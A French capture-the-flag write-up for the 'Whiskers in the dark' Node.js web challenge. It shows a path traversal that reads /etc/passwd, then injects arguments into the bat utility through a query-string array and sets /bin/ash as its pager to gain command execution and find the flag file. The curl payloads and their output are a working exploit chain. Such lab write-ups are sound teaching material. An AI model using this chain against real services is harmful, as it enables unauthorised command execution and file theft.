Solution de lrstx pour Whiskers in the dark

web NodeJS

1 mai 2024

Découverte de l’application

On déploie le docker-compose et on se rend sur le site en question :

À chaque rechargement de la page, la citation change. Le code de la page est minimaliste, il s’agit essentiellement du code suivant :

      window.addEventListener("DOMContentLoaded", () => {
        const fortune = document.getElementById("fortune");
        const id = ~~(Math.random() * 20);
        const url = `/fortune?f=${id}.txt`;
        fetch(url)
          .then((response) => response.json())
          .then((data) => {
            if (data.error) {
              fortune.innerText = data.error;
            } else {
              fortune.innerText = data.fortune;
            }
          });
      });

Le code tire un nombre au hasard, et sollicite le backend avec un nom de fichier numéroté. En sollicitant cette URL, on se rend compte rapidement que l’on a un Path Traversal trivial :

$ curl https://localhost:8000/fortune?f=/etc/passwd
{"fortune":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}

Le code source

Il est temps d’aller voir l’archive fournie. Elle contient une configuration docker-compose, avec une seule image Docker. Celle-ci est une Alpine, contenant l’application Node.js vue précédemment. Lors du build, un fichier contenant le flag est laissé à la racine, mais son nom est généré aléatoirement :

FROM node:16-alpine
SHELL ["/bin/ash", "-eo", "pipefail", "-c"]
ARG FLAG=FCSC{ThisIsTheFl4g}
WORKDIR /app
COPY ./src/package.json ./src/yarn.lock /app/
RUN apk add --update --no-cache    \
    bat=0.22.1-r1               && \
    yarn install                && \
    yarn cache clean            && \
    echo $FLAG > "/flag-$(head /dev/urandom | md5sum | head -c 32).txt"
COPY ./src/index.js ./index.js
COPY ./src/public ./public
COPY ./src/fortunes ./fortunes
USER guest
CMD ["node", "index.js"]

On note dans un coin que bat est installé. Il s’agit d’un équivalent évolué de la commande cat, supportant le syntaxic highlighting. Il est utilisé par le backend pour afficher le fichier fortune choisi :

app.get("/fortune", (req, res) => {
  const args = ["--color", "never"].concat(req.query.f);

  if (args.some((arg) => arg.match(/[^a-z0-9.,/_=\-]/i))) {
    return res.status(400).send({ error: "Invalid filename." });
  }

  execFile("bat", args, { cwd: "./fortunes" }, (error, stdout, stderr) => {
    if (error) {
      res.status(500).send({ error: stderr });
    } else {
      res.send({ fortune: stdout, args: args });
    }
  });
});

On note par la même occasion un filtre sur les caractères autorisés dans le nom du fichier. C’est important, car s’il est trivial de lire le fichier contenant le flag par le Path Traversal, récupérer son nom va demander une RCE. Ma première idée est de tenter de lire /flag-*. Mais d’une part le filtre l’interdit, et de toutes façons execFile() ne donne pas de shell, donc pas de globbing. De la même façon, on peut oublier une injection de commande façon && cat /flag*.

Des premières idées

À ce stade, notre suspect n°1 est donc bat, mais que peut-on en faire ? On sait une chose à ce stade, c’est que l’IHM nous permet de passer un paramètre lors de son exécution. Or, si on regarde le filtre mis en place, le caractère - est autorisé, ce qui signifie est que l’on peut injecter un argument en lieu et place du nom du fichier. Par exemple, on peut demander la version de l’utilitaire :

$ curl https://localhost:8000/fortune?f=-V
{"fortune":"bat 0.22.1\n"}

La question immédiate qui m’est venue ensuite était : pourrait-on passer plusieurs paramètres ? À priori non : le filtre refuse les espaces, et même si c’était le cas, encore une fois, execFile() considérerait l’entrée comme un paramètre unique. J’en étais là lorsque j’ai remarqué la ligne de javascript qui construit la liste des arguments à bat:

  const args = ["--color", "never"].concat(req.query.f);

Ce qu’il faut remarquer, c’est que concat() permet la concaténation de tableaux. Donc son argument peut être un tableau ! La question est donc, quel format doit-on utiliser pour passer un tableau dans une query-string ? La réponse est la même que pour PHP : URL?array[]=X&array[]=Y.

$ curl "https://localhost:8000/fortune?f%5B%5D=plop&f%5B%5D=coin" | jq .
{
  "error": "\u001b[31m[bat error]\u001b[0m: 'plop': No such file or directory (os error 2)\n\u001b[31m[bat error]\u001b[0m: 'coin': No such file or directory (os error 2)\n"
}

On notera que chacun des arguments sera contrôlé par l’expression rationnelle filtrant les caractères autorisés.

Finalement, bat

Une solution est effectivement de lire attentivement la page de man. Il n’y a pas 36 entrées qui évoque la possibilité de passer une commande :

       --pager <command>

              Determine which pager is used. This option will override the PAGER and BAT_PAGER environment variables. The default pager is 'less'. To  control
              when the pager is used, see the '--paging' option. Example: '--pager "less -RF"'.

Le pager choisi va recevoir sur son entrée standard le contenu du fichier, charge à lui de l’afficher. Dans notre cas, cela peut nous permettre d’exécuter des commandes arbitraires, en choisissant un shell comme pager et un fichier contenant des commandes shells. Faisons quelques essais en local :

/app $ echo "id" |  bat --color never --pager /bin/ash --paging always -
/bin/ash: ───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────: Filename too long
/bin/ash: │: not found
/bin/ash: ───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────: Filename too long
/bin/ash: 1: not found
/bin/ash: ───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────: Filename too long

Ouhlà, on a quelques soucis. Cela est dû au fait que bat fait de la mise en page pour afficher le résultat Un nouveau passage dans le man pour désactiver tout ça, et :

/app $ echo "id" |  bat --color never --pager /bin/ash --paging always --decorations never -
uid=405(guest) gid=100(users) groups=100(users)

Parfait ! On n’a pas la possibilité d’écrire un fichier contenant notre commande, donc l’étape suivante va consister à trouver un fichier existant sur le disque qui offre la commande à exécuter. Par exemple, un ls /. À tâtons, on trouve quelque chose d’intéressant dans /usr/local/lib/node_modules/npm/docs/content/using-npm/removal.md :

ls -laF /usr/local/{lib/node{,/.npm},bin,share/man} | grep npm

Deux points gênants : le ls est à la ligne 51 du fichier d’une part, et la ligne ne se termine pas par /. Un dernier retour dans la page de man de bat :

       --terminal-width <width>

              Explicitly set the width of the terminal instead of determining it automatically. If prefixed with '+' or '-', the value will be treated as an offset to the actual terminal  width.  See
              also: '--wrap'.
[...]
       -r, --line-range <N:M>...

              Only print the specified range of lines for each file.

Essayons de suite depuis un shell de notre image Docker :

/app $ bat --color never --pager /bin/ash --paging always --decorations never -r 51 --terminal-width 9 /usr/local/lib/node_modules/npm/docs/content/using-npm/removal.md
ls: /usr/local/{lib/node{,/.npm},bin,share/man}: No such file or directory

Hmm, raté. Après plusieurs bricolages, il s’avère que les paramètres --decorations et --terminal-width ont des interactions qui ne sont pas tout à fait claires pour moi. Au final, il semble qu’il faille forcer le premier :

/app $ bat --color never --pager /bin/ash --paging always -r 51 --terminal-width 9 /usr/local/lib/node_modules/npm/docs/content/using-npm/removal.md --decorations always
/bin/ash: ─────────: not found
/bin/ash: File:: not found
/bin/ash: ─────────: not found
total 80
drwxr-xr-x    1 root     root          4096 May  8 18:49 ./
drwxr-xr-x    1 root     root          4096 May  8 18:49 ../
-rwxr-xr-x    1 root     root             0 May  8 18:49 .dockerenv*
drwxr-xr-x    1 root     root          4096 Apr 30 19:45 app/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 bin/
drwxr-xr-x    5 root     root           340 May  8 18:52 dev/
drwxr-xr-x    1 root     root          4096 May  8 18:49 etc/
-rw-r--r--    1 root     root            20 Apr 29 16:56 flag-2a82a12e5570b593e5d119de39562fd2.txt
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 home/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 lib/
drwxr-xr-x    5 root     root          4096 Mar 29 14:45 media/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 mnt/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 opt/
dr-xr-xr-x  420 root     root             0 May  8 18:52 proc/
drwx------    1 root     root          4096 Mar 29 22:22 root/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 run/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 sbin/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 srv/
dr-xr-xr-x   13 root     root             0 May  8 18:52 sys/
drwxrwxrwt    1 root     root          4096 Mar 29 22:22 tmp/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 usr/
drwxr-xr-x   12 root     root          4096 Mar 29 14:45 var/
/bin/ash: usr/local: not found
/bin/ash: /{lib/nod: not found
/bin/ash: e{,/.npm}: not found
/bin/ash: ,bin,shar: not found
/bin/ash: e/man}: not found
/bin/ash: ─────────: not found

Ça fonctionne ! Transformons cette ligne de commande en URL pour l’application :

$ curl "https://localhost:8000/fortune?f[]=--pager&f[]=/bin/ash&f[]=--paging&f[]=always&f[]=--decorations&f[]=always&f[]=-r&f[]=51&f[]=--terminal-width&f[]=9&f[]=/usr/local/lib/node_modules/npm/docs/content/using-npm/removal.md" | jq .fortune | xargs printf
total 72
drwxr-xr-x    1 root     root          4096 Apr 29 16:04 ./
drwxr-xr-x    1 root     root          4096 Apr 29 16:04 ../
-rwxr-xr-x    1 root     root             0 Apr 29 16:04 .dockerenv*
drwxr-xr-x    1 root     root          4096 Apr 29 16:03 app/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 bin/
drwxr-xr-x    5 root     root           320 Apr 30 15:46 dev/
drwxr-xr-x    1 root     root          4096 Apr 29 16:04 etc/
-rw-r--r--    1 root     root            71 Apr 29 16:03 flag-4e51852c4267294c11ee3827b74c447f.txt
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 home/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 lib/
drwxr-xr-x    5 root     root          4096 Mar 29 14:45 media/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 mnt/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 opt/
dr-xr-xr-x  193 nobody   nobody           0 Apr 30 15:46 proc/
drwx------    1 root     root          4096 Mar 29 22:22 root/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 run/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 sbin/
drwxr-xr-x    2 root     root          4096 Mar 29 14:45 srv/
dr-xr-xr-x   12 nobody   nobody           0 Apr 30 15:46 sys/
drwxrwxrwt    1 root     root          4096 Mar 29 22:22 tmp/
drwxr-xr-x    1 root     root          4096 Mar 29 22:22 usr/
drwxr-xr-x   12 root     root          4096 Mar 29 14:45 var/

La lecture du fichier par le Path Traversal est maintenant trivial :

$ curl "https://localhost:8000/fortune?f=/flag-4e51852c4267294c11ee3827b74c447f.txt"
{"fortune":"FCSC{3304136851549bd73b64d4f2e86a7bd18e290d510220752ab2b061e591c2911c}\n"}